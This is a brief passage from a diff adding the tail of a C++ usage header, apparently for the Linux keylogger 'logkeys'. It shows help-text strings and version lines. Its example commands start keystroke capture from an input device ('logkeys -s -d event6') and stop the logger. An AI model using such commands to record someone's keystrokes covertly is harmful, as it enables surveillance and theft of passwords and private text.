logkeys -s -d event6\n" +" logkeys -k\n" +"\n" +"logkeys version: " PACKAGE_VERSION "\n" +"logkeys homepage: \n" + ); +} + +} // namespace logkeys + +#endif // _USAGE_H_